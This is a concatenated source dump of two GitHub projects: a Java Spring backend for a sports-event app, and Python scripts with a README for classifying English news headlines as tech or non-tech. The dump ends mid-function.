if (event.getOrganizer() != user) {
event.getSubscribers().remove(user);
eventRepository.save(event);
return true;
}
}
return false;
}
public IdentifierDto create(EventCreatorDto dto) {
Event event = new Event();
event.setAppointment(dto.getAppointment());
if (dto.getDescription() == null) {
event.setDescription("");
} else {
event.setDescription(Jsoup.clean(dto.getDescription(), Whitelist.none()));
}
event.setTime(dto.getTime());
event.setOrganizer(new User(SecurityHelper.getUserId()));
event.setSport(new Sport(dto.getSportId()));
event.setLevel(new Level(dto.getLevelId()));
event.setCity(new City(dto.getCityId()));
Event savedEvent = eventRepository.save(event);
return new IdentifierDto(savedEvent.getId());
};
public IdentifierDto edit(EventEditorDto dto) {
Event event = getMapper().map(dto, Event.class);
event.setOrganizer(new User(SecurityHelper.getUserId()));
if (dto.getDescription() == null) {
event.setDescription("");
} else {
event.setDescription(Jsoup.clean(dto.getDescription(), Whitelist.none()));
}
Event savedEvent = eventRepository.save(event);
return new IdentifierDto(savedEvent.getId());
}
public Boolean remove(Long eventId) {
Optional<Event> optional = eventRepository.findById(eventId);
if (!optional.isEmpty()) {
Event event = optional.get();
eventRepository.delete(event);
return true;
}
return false;
}
public EventEditorViewDto getForEdition(Long eventId) {
return eventRepository.findProjectedById(eventId);
}
}
<file_sep>---
name: User story
about: Describe this issue template's purpose here.
title: User story
labels: User story
assignees: AnnaRobin
---
Related epic: #
<file_sep>package com.masterpiece.FreeSportCamp.dtos;
import java.time.LocalDate;
import com.masterpiece.FreeSportCamp.config.SecurityHelper;
import com.masterpiece.FreeSportCamp.entities.Sex;
public interface PublicProfileViewDto {
public Long getId();
public String getUserName();
public String getPresentation();
public Long getCityId();
public String getCityName();
public Sex getSex();
public LocalDate getBirthDate();
default public Boolean getIsOwner() {
return getId() == SecurityHelper.getUserId();
}
}
<file_sep>package com.masterpiece.FreeSportCamp.config;
import java.util.Set;
import java.util.stream.Collectors;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import com.masterpiece.FreeSportCamp.dtos.UserAuthDto;
import com.masterpiece.FreeSportCamp.entities.Role;
public class UserDetails extends User {
private static final long serialVersionUID = 5803283930339051994L;
private Long id;
public UserDetails(UserAuthDto user) {
super(user.getUserName(), user.getPassword(), user.isEnabled(),
true,true,true, buildAuthorities(user.getRoles()));
id = user.getId();
}
private static Set<GrantedAuthority> buildAuthorities(Set<Role> roles) {
return roles.stream().map(r -> new SimpleGrantedAuthority(r.getCode()))
.collect(Collectors.toUnmodifiableSet());
}
public Long getId() {
return id;
}
@Override
public String toString() {
return "{id=" + id + ", authorities=" + getAuthorities()
+ ", password=[<PASSWORD>], username=" + getUsername()
+ ", enabled=" + isEnabled() + "}";
}
}
<file_sep>package com.masterpiece.FreeSportCamp.controllers;
import org.springframework.data.domain.Page;
import org.springframework.http.ResponseEntity;
import org.springframework.security.access.annotation.Secured;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.masterpiece.FreeSportCamp.dtos.UserListViewDto;
import com.masterpiece.FreeSportCamp.services.AdminProfileService;
@RestController
@RequestMapping("/admin")
public class AdminController {
// @GetMapping()
// protected ResponseEntity<String> hello() {
// return new ResponseEntity<>("Hello FSC", HttpStatus.OK);
//
// }
private final AdminProfileService service;
protected AdminController(AdminProfileService service) {
this.service = service;
};
@GetMapping()
protected Page<UserListViewDto> getAllUsers(@RequestParam("page") int page, @RequestParam("size") int size) {
return service.getAllUsers(page, size);
}
@DeleteMapping()
protected ResponseEntity delete(@RequestParam("id") Long id) {
try {
service.delete(id);
return ResponseEntity.ok().build();
} catch (Exception ex) {
return ResponseEntity.badRequest().build();
}
}}
<file_sep>package com.masterpiece.FreeSportCamp.dtos;
import javax.validation.constraints.NotBlank;
import org.hibernate.validator.constraints.Length;
public class PasswordDto {
@NotBlank
@Length(min=5, max=45)
private String previousPassword;
@NotBlank
@Length(min=5, max=45)
private String password;
public String getPreviousPassword() {
return previousPassword;
}
public void setPreviousPassword(String previousPassword) {
this.previousPassword = previousPassword;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
<file_sep>package com.masterpiece.FreeSportCamp.repositories;
import java.util.List;
import org.springframework.data.jpa.repository.JpaRepository;
import com.masterpiece.FreeSportCamp.dtos.CityViewDto;
import com.masterpiece.FreeSportCamp.entities.City;
/**
* @author <NAME>
* "@Repository" is optional, a JpaRepository is already a Repository
*
*/
public interface CityRepository extends JpaRepository<City, Long>{
/**
* A projection of many/all {@code City}es in a {@code List} of
* {@code CityViewDto}.
* @return a view of all cities
*/
List<CityViewDto> getAllProjectedBy();
}
<file_sep>package com.masterpiece.FreeSportCamp.repositories;
import java.util.List;
import org.springframework.data.jpa.repository.JpaRepository;
import com.masterpiece.FreeSportCamp.dtos.SportViewDto;
import com.masterpiece.FreeSportCamp.entities.Sport;
/**
* @author <NAME>
* "@Repository" is optional, a JpaRepository is already a Repository
*
*/
public interface SportRepository extends JpaRepository<Sport, Long> {
/**
* A projection of many/all {@code Sport}s in a {@code List} of
* {@code SportViewDto}.
* @return a view of all sports
*/
List<SportViewDto> getAllProjectedBy();
}
<file_sep>package com.masterpiece.FreeSportCamp.entities;
import java.time.LocalDate;
import java.time.LocalTime;
import java.util.Collection;
import java.util.List;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.ForeignKey;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Index;
import javax.persistence.JoinColumn;
import javax.persistence.JoinTable;
import javax.persistence.ManyToMany;
import javax.persistence.ManyToOne;
import javax.persistence.OneToOne;
import javax.persistence.Table;
/**
* @author <NAME>
* The Event class mapped to the database
*/
@Entity
@Table(name="events", indexes = {
@Index(name = "events_city_id_IDX", columnList = "city_id" ),
@Index(name = "events_level_id_IDX", columnList = "level_id" ),
@Index(name = "events_sport_id_IDX", columnList = "sport_id" ),
@Index(name = "events_organizer_id_IDX", columnList = "organizer_id")
})
public class Event {
@Id// id field is the primary key
// The id is auto-incremented by database (identity):
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name="id", nullable = false, length= 10, columnDefinition = "INT UNSIGNED") // Column specifications
private Long id;
@Column(name="appointment", nullable = false)
private LocalDate appointment;
@Column(name="time", nullable = false)
private LocalTime time;
@Column(name="description", length=1000)
private String description;
/**
* Specifies the mapping of associations. It is applied to the owning side of an association.
*/
// Many Event to One City
@ManyToOne(optional=false)
@JoinColumn(nullable = false, name="city_id", foreignKey = @ForeignKey(name= "events_city_id_FK"))
private City city;
// Many Event to One Level
@ManyToOne(optional=false)
@JoinColumn(nullable = false, name="level_id", foreignKey = @ForeignKey(name= "events_level_id_FK"))
private Level level;
// Many Event to One Sport
@ManyToOne(optional=false)
@JoinColumn(nullable = false, name="sport_id", foreignKey = @ForeignKey(name= "events_sport_id_FK"))
private Sport sport;
// Many Event to One Organizer
@ManyToOne(optional=false)
@JoinColumn(nullable = false, name="organizer_id", foreignKey = @ForeignKey(name= "events_organizer_id_FK"))
private User organizer;
// Many Event to Many Subscriber
/**
* inverseJoinColumns : The foreign key columns
* of the join table which reference the
* primary table of the entity that does
* not own the association. (I.e. the
* inverse side of the association).
*/
@ManyToMany(fetch = FetchType.LAZY)
@JoinTable(name = "participations",
joinColumns = @JoinColumn(name = "event_id"),
inverseJoinColumns = @JoinColumn(name = "user_id"))
Collection<User> subscribers;
public Event() {
}
public Event(Long eventId) {
this.id = eventId;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public LocalDate getAppointment() {
return appointment;
}
public void setAppointment(LocalDate appointment) {
this.appointment = appointment;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public City getCity() {
return city;
}
public void setCity(City city) {
this.city = city;
}
public LocalTime getTime() {
return time;
}
public void setTime(LocalTime time) {
this.time = time;
}
public Level getLevel() {
return level;
}
public void setLevel(Level level) {
this.level = level;
}
public Sport getSport() {
return sport;
}
public void setSport(Sport sport) {
this.sport = sport;
}
public User getOrganizer() {
return organizer;
}
public void setOrganizer(User organizer) {
this.organizer = organizer;
}
public Collection<User> getSubscribers(){
return this.subscribers;
}
public void setSubscribers(Collection<User> subscribers) {
this.subscribers = subscribers;
}
}
<file_sep>package com.masterpiece.FreeSportCamp.entities;
public enum Sex {
MALE,
FEMALE;
}
<file_sep>package com.masterpiece.FreeSportCamp.services;
import java.util.Optional;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageRequest;
import org.springframework.stereotype.Service;
import com.masterpiece.FreeSportCamp.config.SecurityHelper;
import com.masterpiece.FreeSportCamp.dtos.ProfileDto;
import com.masterpiece.FreeSportCamp.dtos.ProfileViewDto;
import com.masterpiece.FreeSportCamp.dtos.PublicProfileViewDto;
import com.masterpiece.FreeSportCamp.dtos.UserListViewDto;
import com.masterpiece.FreeSportCamp.entities.City;
import com.masterpiece.FreeSportCamp.entities.Event;
import com.masterpiece.FreeSportCamp.entities.User;
import com.masterpiece.FreeSportCamp.repositories.UserRepository;
import org.jsoup.Jsoup;
import org.jsoup.safety.Whitelist;
@Service // defines this class as a service
public class ProfileServiceImpl implements ProfileService, AdminProfileService {
/**
* userRepository is injected by Spring during startup of the application
*/
private final UserRepository userRepository;
/**
* Creates a new {@code ProfileServiceImpl} with given injected repository.
*
* @param userRepository is an injected {@code UserRepository}
*/
protected ProfileServiceImpl(UserRepository userRepository) {
this.userRepository = userRepository;
}
/**
* retrieve a view of a profile (the given id is the currently authenticated
* user identifier)
*/
public ProfileViewDto get() {
return userRepository.getProfileById(SecurityHelper.getUserId());
}
/**
* retrieve a view of a profile with a given id
*/
public PublicProfileViewDto getPublic(Long id) {
return userRepository.getPublicProfileById(id);
}
/**
* Update a profile - if exist (the given id is the currently authenticated user
* identifier)
*/
public void update(ProfileDto dto) {
Optional<User> optional = this.userRepository.findById(SecurityHelper.getUserId());
if (optional.isEmpty()) {
throw new NullPointerException(); // Constructs a {@code NullPointerException} with no detail message.
} else {
User user = optional.get();
if (dto.getCityId() == null) {
user.setCity(null);
} else {
user.setCity(new City(dto.getCityId()));
}
if (dto.getPresentation() == null)
user.setPresentation(dto.getPresentation()); // Convert dto to entity
else {
user.setPresentation(Jsoup.clean(dto.getPresentation(), Whitelist.none()));
}
if (dto.getPhoneNumber() == null)
user.setPhoneNumber(dto.getPhoneNumber());
else {
user.setPhoneNumber(Jsoup.clean(dto.getPhoneNumber(), Whitelist.none()));
}
user.setSex(dto.getSex());
user.setBirthdate(dto.getBirthDate());
this.userRepository.save(user); // Save the changing(s) to database
}
}
/**
* Deactivate a user - if exist (the given id is the currently authenticated
* user identifier)
*/
public void delete() {
delete(SecurityHelper.getUserId());
}
/**
* Deactivate a user - if exist - by id
*/
public void delete(Long id) {
Optional<User> optional = this.userRepository.findById(id);
if (optional.isEmpty()) {
throw new NullPointerException();
} else {
User user = optional.get();
user.setEnabled(false);
this.userRepository.save(user); // Save the changing(s) to database
}
}
public Page<UserListViewDto> getAllUsers(int page, int size) {
return userRepository.getAllProjectedByEnabledTrue(PageRequest.of(page, size));
}
}
<file_sep>package com.masterpiece.FreeSportCamp.dtos;
import java.time.LocalDate;
import javax.validation.constraints.Pattern;
import com.masterpiece.FreeSportCamp.entities.Sex;
public class ProfileDto {
private String presentation;
private Long cityId;
private Sex sex;
@Pattern(regexp = "^33[0-9]{9}$|")
private String phoneNumber;
private LocalDate birthDate;
public String getPresentation() {
return presentation;
}
public void setPresentation(String presentation) {
this.presentation = presentation;
}
public Long getCityId() {
return cityId;
}
public void setCityId(Long cityId) {
this.cityId = cityId;
}
public Sex getSex() {
return sex;
}
public void setSex(String sex) {
switch(sex) {
case "MALE":
this.sex = Sex.MALE;
break;
case "FEMALE":
this.sex = Sex.FEMALE;
break;
}
}
public String getPhoneNumber() {
return phoneNumber;
}
public void setPhoneNumber(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public LocalDate getBirthDate() {
return birthDate;
}
public void setBirthDate(LocalDate birthDate) {
this.birthDate = birthDate;
}
}
|
e4c878bc02b6803eea02a6dba3664f4d6c205b3d
|
[
"Markdown",
"Java",
"TypeScript",
"SQL"
] | 32
|
Java
|
AnnaRobin/Free-Sport-Camp
|
9a4bc1eec5c30e6b605837bf8c0e1f0eeb7d8417
|
02cae5e9f70797595da26ced67406680fd04b8ee
|
refs/heads/master
|
<repo_name>JucoskiCristian/BotDicord-v13<file_sep>/commands/flash.js
const { SlashCommandBuilder } = require('@discordjs/builders');
const { MessageEmbed } = require('discord.js');
var count = 0
module.exports = {
data: new SlashCommandBuilder()
.setName('flash')
.setDescription('Flash Errado'),
async execute(interaction) {
const embed = new MessageEmbed()
.setTitle('Flash Errados')
.setAuthor(interaction.client.user.username, interaction.client.user.displayAvatarURL())
.setColor('RANDOM')
.setThumbnail('https://media.giphy.com/media/XGOnPgiiqcwb1JEQJN/giphy.gif')
.setDescription(`Ja foram **${count = count + 1}** Flash's Errados!`)
.setTimestamp(new Date())
await interaction.reply({ embeds: [embed] });
},
};
<file_sep>/commands/d20.js
const { SlashCommandBuilder } = require('@discordjs/builders');
const { MessageEmbed } = require('discord.js');
const msg1 = ['Deu ruim Aventureiro', 'Vishh, essa foi feia', 'Boa sorte da proxima vez!']
const msg20 = ['Boa jogada Aventureiro', '<NAME>', 'Vc pediu um 20??', 'Qué OTA?']
let resultAanterior = '';
let jogadorPassado = '';
module.exports = {
data: new SlashCommandBuilder()
.setName('d20')
.setDescription('Rola um Dado D20'),
async execute( interaction ){
const result = Math.floor(Math.random() * 20 + 1);
if (resultAanterior == 20 && jogadorPassado == interaction.user.username) {
resultAanterior = result;
jogadorPassado = interaction.user.username;
const embed = new MessageEmbed()
.setTitle(`**${interaction.user.username}** Rolou um D20 :game_die:`)
.setAuthor(interaction.user.username, interaction.user.displayAvatarURL())
.setColor('GOLD')
.setImage('https://media.giphy.com/media/3oEjI5VtIhHvK37WYo/giphy.gif')
.setDescription(`:game_die: Rolou: **${result}** \n**Melhor que isso só dois disso, NÃO PERA!**`)
.setTimestamp(new Date())
await interaction.reply({embeds: [embed]});
return
}if (result == 1) {
resultAanterior = result;
jogadorPassado = interaction.user.username;
const embed = new MessageEmbed()
.setTitle(`**${interaction.user.username}** Rolou um D20 :game_die:`)
.setAuthor(interaction.user.username, interaction.user.displayAvatarURL())
.setColor('RANDOM')
.setThumbnail('https://media.giphy.com/media/3oriNPdeu2W1aelciY/giphy.gif')
.setDescription(`:game_die: Rolou: ***${result}*** \n***${msg1[Math.floor(Math.random() * msg1.length)]}***`)
.setTimestamp(new Date())
await interaction.reply({embeds: [embed]});
}if (result == 20) {
resultAanterior = result;
jogadorPassado = interaction.user.username;
const embed = new MessageEmbed()
.setTitle(`**${interaction.user.username}** Rolou um D20 :game_die:`)
.setAuthor(interaction.user.username, interaction.user.displayAvatarURL())
.setColor('RANDOM')
.setThumbnail('https://media.giphy.com/media/3oriNPdeu2W1aelciY/giphy.gif')
.setDescription(`:game_die: Rolou: **${result}** \n**${msg20[Math.floor(Math.random() * msg20.length)]}**`)
.setTimestamp(new Date())
await interaction.reply({embeds: [embed]});
}if(result !== 1 && result !== 20){
resultAanterior = result;
jogadorPassado = interaction.user.username;
const embed = new MessageEmbed()
.setTitle(`**${interaction.user.username}** Rolou um D20 :game_die:`)
.setAuthor(interaction.user.username, interaction.user.displayAvatarURL())
.setColor('RANDOM')
.setThumbnail('https://media.giphy.com/media/3oriNPdeu2W1aelciY/giphy.gif')
.setDescription(`:game_die: Rolou: **${result}**`)
.setTimestamp(new Date())
await interaction.reply({embeds: [embed]});
}
}
}<file_sep>/index.js
const fs = require('fs');
const { Client, Collection, Intents } = require('discord.js');
const { token, clientId, guildId } = require('./config.json');
const { REST } = require('@discordjs/rest');
const { Routes } = require('discord-api-types/v9');
const client = new Client({ intents: [Intents.FLAGS.GUILDS, Intents.FLAGS.GUILD_MEMBERS] });
client.commands = new Collection();
const commands = [];
const commandFiles = fs.readdirSync('./commands').filter(file => file.endsWith('.js'));
for (const file of commandFiles) {
const command = require(`./commands/${file}`);
client.commands.set(command.data.name, command);
}
const eventFiles = fs.readdirSync('./events').filter(file => file.endsWith('.js'));
for (const file of eventFiles) {
const event = require(`./events/${file}`);
if (event.once) {
client.once(event.name, (...args) => event.execute(...args, client));
} else {
client.on(event.name, (...args) => event.execute(...args, client));
}
}
for (const file of commandFiles) {
const command = require(`./commands/${file}`);
commands.push(command.data.toJSON());
}
const rest = new REST({ version: '9' }).setToken(token);
(async () => {
try {
console.log('Startando Carregamento de Comandos de (/).');
await rest.put(
Routes.applicationGuildCommands(clientId, guildId),
{ body: commands },
);
console.log('Comandos de (/) Carregados com Sucesso.');
} catch (error) {
console.error(error);
}
})();
client.on('interactionCreate', async interaction => {
if (!interaction.isCommand()) return;
const { commandName } = interaction;
if (!client.commands.has(commandName)) return;
try {
await client.commands.get(commandName).execute(interaction);
} catch (error) {
console.error(error);
await interaction.reply({ content: 'Erro ao executar o comando!', ephemeral: true });
}
})
client.login(token);
<file_sep>/events/guildMemberRemove.js
const { MessageEmbed } = require('discord.js');
const { canal_mensagem } = require('../config.json');
module.exports = {
name: 'guildMemberRemove',
execute(member) {
const embed = new MessageEmbed()
.setTitle(member.user.username + " Esperamos que Volte Logo :sob:")
.setAuthor(member.client.user.username, member.client.user.displayAvatarURL())
.setImage(member.user.avatarURL())
.setColor('RANDOM')
.setDescription(':sob: Volte logo!!! :sob:')
.setTimestamp(new Date())
member.guild.channels.cache.get(canal_mensagem).send({ embeds: [embed] })
},
};<file_sep>/commands/ping.js
const { SlashCommandBuilder } = require('@discordjs/builders');
const { MessageEmbed } = require('discord.js');
module.exports = {
data: new SlashCommandBuilder()
.setName('ping')
.setDescription('Replies with Pong!'),
async execute(interaction ) {
const embed = new MessageEmbed()
.setTitle('Ping do Bot')
.setAuthor(interaction.client.user.username, interaction.client.user.displayAvatarURL())
.setColor('RANDOM')
.setDescription(`O ping do **BOT** é de :stopwatch:**${Math.round(interaction.client.ws.ping)}**ms!`)
.setTimestamp(new Date())
await interaction.reply({embeds:[embed]});
},
};<file_sep>/Readme.md
Olá este é um bot para discord Criado por <NAME>, com discord.js versão 13.0.1.
|
dee79d1e1237adb7677013d09063f5bb00555e29
|
[
"JavaScript",
"Markdown"
] | 6
|
JavaScript
|
JucoskiCristian/BotDicord-v13
|
94155fd3b94fdf50ff0eaeaf81fd5dec2a9c4f84
|
6fad29777a694ca4b15cfddb1c6fa9c40f6f9661
|
refs/heads/master
|
<repo_name>LiuXPeng/shortTextClassification<file_sep>/辅助脚本/en2ch.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'english text translate to chinese'
__author__ = 'lxp'
import time
import translate
def test():
shuruwenjian = input('请输入要翻译的文件名: ')
shuchuwenjian = input('请输入要输出的文件名: ')
s = input('是否清楚现有输出文件的内容,输入y表示同意')
if s != 'y':
return
f = open(shuruwenjian, 'r', encoding='utf-8')
line = f.readline()
g = open('samples_chinese_better.txt', 'w+')
g.truncate()#清空文件,防止测试时候不停加入
g.close()
g = open(shuchuwenjian, 'a', encoding='utf-8')
while line:
t = translate.baidu_translate(line)
print(str(t))
g.write(str(t))
g.write(' ')
g.write(line)
line = f.readline()
time.sleep(1)
g.close()
f.close()
return
if __name__ == '__main__':
test()
<file_sep>/README.md
# shortTextClassification
  对英文短文本进行分类,文本为英文新闻标题,长度集中在3-10个词之间,
类别标签为科技类(+1)、非科技类(-1),共计42万余条数据。
## 程序
### Preprocess.py
  所使用语料摘自kaggle,对数据无用属性进行删除;按照目标要求,修改标签。在这里遇到了数据异常的情况:大致有分布不规律的200-300条词预处理达不到预期结果,debug发现,原因是数据中个别样本分隔符异常,最终删除异常样本。对数据进行分词,安照英文本身空格分隔分词,并且筛除停词库中的词语。<br>
  特征提取方法主要考虑词袋模型和word embeddings模型:对于词袋模型,因为文本太短,绝大多数样本往往只有一个或者没有热词,造成向量矩阵的稀疏,而又因为此原因,不得不加长向量长度,以避免全0向量出现,最后实则实现的是一个复杂化的关键词索引模型,与关键词索引模型相比,加大了计算量,精度反而下降;word embeddings模型,通过向量化训练过程,可以引入外部语料,增加了分类模型的泛化能力,可以综合考量整个文本所有分词的语义,因此选择word embeddings模型。<br>
  使用42万条数据,训练word2vec模型,之后对每个样本分词的向量取平均,生成每个样本的向量;后期改进模型时候发现,42万条数据规模太小,最终引进谷歌新闻的word2vec模型。<br>
#### 输入
uci-news-aggregator.csv <br>
GoogleNews-vectors-negative300.bin <br>
#### 输出
notCleandata.csv <br>
data.txt <br>
segmentation.txt <br>
sentences.txt <br>
labels.txt <br>
42w.model <br>
vecs.txt <br>
vecdata.csv <br>
### SvmForSTC.py
  使用SVM算法,在整个样本中,科技类比例大致为四分之一,考虑到样本不均衡,训练时对样本增加了权重。经过测试,训练样本在8000以上时,分类模型分类稳定,泛化能力达到要求,因此采取部分冗余,训练样本为42万条中的10000条。
#### 输入
vecdata.csv <br>
#### 输出
train_model.m <br>
#### 打印输出
十次实验结果,包括TP、NP、准确率
## 输出文件说明
### notCleandata.csv
去除无关属性,数据中包含异常数据,类别为1、-1,数据为英文标题类别在前
### data.txt
赶紧数据,类别为1、-1,数据为英文标题,类别在前
### segmentation.txt
分词数据,类别在前,分词在后,逗号隔开
### sentences.txt
分词数据
### labels.txt
类别数据,与分词数据一一对应
### 42w.model
42万条标题,word embedings训练出的模型
### vecs.txt
42万条标题向量化结果,用的是谷歌新闻训练出的word2vec模型
### vecdata.csv
类别,向量
### train_model.m
训练出的svm模型
## 结果
TP: 0.7948164146868251  
TN: 0.902931508687194  
正确率: 0.8754<br>
TP: 0.7974512454141727  
TN: 0.903717697861143  
正确率: 0.8762<br>
TP: 0.7994574694826584  
TN: 0.8990498011995417  
正确率: 0.87335<br>
TP: 0.7975341937969562  
TN: 0.9001958268620434  
正确率: 0.87355<br>
TP: 0.794180407371484  
TN: 0.9017851128326035  
正确率: 0.87405<br>
TP: 0.7942564909520063  
TN: 0.8999731831590239  
正确率: 0.8731<br>
TP: 0.79375  
TN: 0.9003360215053764  
正确率: 0.87305<br>
TP: 0.7934272300469484  
TN: 0.8971655024180548  
正确率: 0.87065<br>
TP: 0.7925407925407926  
TN: 0.9005521141933747  
正确率: 0.87275<br>
TP: 0.797420634920635  
TN: 0.8975267379679145  
正确率: 0.8723<br>
## 语料
### 英文标题语料
[介绍及下载](https://www.kaggle.com/uciml/news-aggregator-dataset)<br>
[百度云下载](https://pan.baidu.com/s/1-kIwG1uCUE2ekCSsh9cdsA)   密码:<PASSWORD><br>
整个数据集类别统计<br>
e  152469<br>
b  115967<br>
t  108344<br>
m  45639<br>
Name: CATEGORY,  dtype: int64<br>
整个数据集二分类别统计 <br>
-1  314075<br>
1  108344<br>
Name: CATEGORY,  dtype: int64<br>
### 谷歌新闻训练好的word2vec语料
[下载](https://drive.google.com/file/d/0B7XkCwpI5KDYNlNUTTlSS21pQmM/edit?usp=sharing)<br>
[百度云下载](https://pan.baidu.com/s/1_ciXDCoV_kVrAKnCJck6Rg)   密码:<PASSWORD>
## 运行
下载GoogleNews-vectors-negative300.bin放到当前目录 <br>
执行Preprocess.py <br>
执行SvmForSTC.py<file_sep>/featureExtract.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'特征提取'
__author__ = 'lxp'
import time
import datetime
import re
import nltk
from nltk.tokenize import word_tokenize
import pickle
import numpy as np
import sklearn
from sklearn.decomposition import PCA
from sklearn.decomposition import LatentDirichletAllocation
import random
import math
import warnings
warnings.filterwarnings(action='ignore', category=UserWarning, module='gensim')
import gensim
from gensim.models import Word2Vec
from gensim.models.word2vec import LineSentence
#============================================================
#================================================数据清洗================================================
#停词表构建
def load_stopwords():
stop_words = nltk.corpus.stopwords.words('english')
stop_words.extend(['this','that','the','might','have','been','from',
'but','they','will','has','having','had','how','went'
'were','why','and','still','his','her','was','its','per','cent',
'a','able','about','across','after','all','almost','also','am','among',
'an','and','any','are','as','at','be','because','been','but','by','can',
'cannot','could','dear','did','do','does','either','else','ever','every',
'for','from','get','got','had','has','have','he','her','hers','him','his',
'how','however','i','if','in','into','is','it','its','just','least','let',
'like','likely','may','me','might','most','must','my','neither','nor',
'not','of','off','often','on','only','or','other','our','own','rather','said',
'say','says','she','should','since','so','some','than','that','the','their',
'them','then','there','these','they','this','tis','to','too','twas','us',
'wants','was','we','were','what','when','where','which','while','who',
'whom','why','will','with','would','yet','you','your','ve','re','rt', 'retweet', '#fuckem', '#fuck',
'fuck', 'ya', 'yall', 'yay', 'youre', 'youve', 'ass','factbox', 'com', '<', 'th',
'retweeting', 'dick', 'fuckin', 'shit', 'via', 'fucking', 'shocker', 'wtf', 'hey', 'ooh', 'rt&', '&',
'#retweet', 'retweet', 'goooooooooo', 'hellooo', 'gooo', 'fucks', 'fucka', 'bitch', 'wey', 'sooo', 'helloooooo', 'lol', 'smfh'])
stop_words = set(stop_words)
return stop_words
#===============================正则化清洗推文================================
def normalize_text(text):
text = re.sub('((www\.[^\s]+)|(https?://[^\s]+)|(pic\.twitter\.com/[^\s]+))','', text)
text = re.sub('@[^\s]+','', text)
text = re.sub('#([^\s]+)', '', text)
text = re.sub('[:;>?<=*+()/,\-#!$%\{˜|\}\[^_\\@\]1234567890’‘]',' ', text)
text = re.sub('[\d]','', text)
text = text.replace(".", '')
text = text.replace("'", ' ')
text = text.replace("\"", ' ')
#text = text.replace("-", " ")
#normalize some utf8 encoding
text = text.replace("\x9d",' ').replace("\x8c",' ')
text = text.replace("\xa0",' ')
text = text.replace("\x9d\x92", ' ').replace("\x9a\xaa\xf0\x9f\x94\xb5", ' ').replace("\xf0\x9f\x91\x8d\x87\xba\xf0\x9f\x87\xb8", ' ').replace("\x9f",' ').replace("\x91\x8d",' ')
text = text.replace("\xf0\x9f\x87\xba\xf0\x9f\x87\xb8",' ').replace("\xf0",' ').replace('\xf0x9f','').replace("\x9f\x91\x8d",' ').replace("\x87\xba\x87\xb8",' ')
text = text.replace("\xe2\x80\x94",' ').replace("\x9d\xa4",' ').replace("\x96\x91",' ').replace("\xe1\x91\xac\xc9\x8c\xce\x90\xc8\xbb\xef\xbb\x89\xd4\xbc\xef\xbb\x89\xc5\xa0\xc5\xa0\xc2\xb8",' ')
text = text.replace("\xe2\x80\x99s", " ").replace("\xe2\x80\x98", ' ').replace("\xe2\x80\x99", ' ').replace("\xe2\x80\x9c", " ").replace("\xe2\x80\x9d", " ")
text = text.replace("\xe2\x82\xac", " ").replace("\xc2\xa3", " ").replace("\xc2\xa0", " ").replace("\xc2\xab", " ").replace("\xf0\x9f\x94\xb4", " ").replace("\xf0\x9f\x87\xba\xf0\x9f\x87\xb8\xf0\x9f", "")
text = re.sub("[^a-zA-Z]", " ", text)
return text
#===============================分词、去停词==============================
def nltk_tokenize(text):
tokens = []
features = []
tokens = text.split()
stop_words = load_stopwords()
for word in tokens:
if word.lower() not in stop_words and len(word) > 2:
features.append(word)
return features
#标签、分词文件
def label_segmentation():
f = open('trainingSet.txt', 'r', encoding = 'utf-8')
line = f.readline()
g = open('label_segmentation_train.txt', 'w', encoding = 'utf-8')
g.truncate()
g.close()
g = open('label_segmentation_train.txt', 'a', encoding = 'utf-8')
while line:
L = line.split(',')
line = f.readline()
g.write(L[0] + ',')
text = normalize_text(L[1])
words = nltk_tokenize(text)
g.write(' '.join(words) + '\n')
g.close()
f.close()
f = open('testSet.txt', 'r', encoding = 'utf-8')
line = f.readline()
g = open('label_segmentation_test.txt', 'w', encoding = 'utf-8')
g.truncate()
g.close()
g = open('label_segmentation_test.txt', 'a', encoding = 'utf-8')
while line:
L = line.split(',')
line = f.readline()
g.write(L[0] + ',')
text = normalize_text(L[1])
words = nltk_tokenize(text)
g.write(' '.join(words) + '\n')
g.close()
f.close()
print('标签,分词文件')
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('完成标签、分词文件: label_segmentation_train.txt、label_segmentation_test.txt' + '\n')
log.close()
return
#==================================================================
#==========================one-hot编码==============================
#-----------------------------创建字典---------------------
def oneHotDict():
f = open('trainingSet.txt', 'r', encoding = 'utf-8')
line = f.readline()
count = 0
dictionary = {}
while line:
L = line.split(',')
line = f.readline()
text = normalize_text(L[1])
words = nltk_tokenize(text)
for word in words:
if word not in dictionary:
dictionary[word] = count#编码时做索引
count += 1
f.close()
#把结果存到文件中
g = open('dictionary.plk', 'wb')
pickle.dump(dictionary, g)
g.close()
print(count)
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('one-hot编码维度' + str(count) + '\n')
log.close()
return
#--------------------------获取n条数据的one-hot------------------
def oneHotGet(Y):
n = len(Y)
f = open('dictionary.plk', 'rb')
dictionary = pickle.load(f)
f.close()
Z = []
for text in Y:
temp = [0] * 67216
words = text.split(' ')
for word in words:
if word in dictionary:
temp[dictionary[word]] += 1
Z.append(temp)
if __name__ == '__main__':
print('抽取' + str(n) + '条one-hot编码')
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('抽取' + str(n) + '条one-hot编码\n')
log.close()
return Z
#测试one-hot编码中的全零向量
def oneHotStatistics():
f = open('testSet.txt', 'r', encoding = 'utf-8')
line = f.readline()
#这里调用oneHotGet()函数,文件不停打开加载关闭太慢,所以直接写
g = open('dictionary.plk', 'rb')
dictionary = pickle.load(g)
g.close()
count = 0
m = 0
while line:
count += 1
L = line.split(',')
line = f.readline()
text = normalize_text(L[1])
words = nltk_tokenize(text)
for word in words:
if word in dictionary:
m += 1
break
f.close()
print('零向量共计: ', count - m, (count - m) / count)
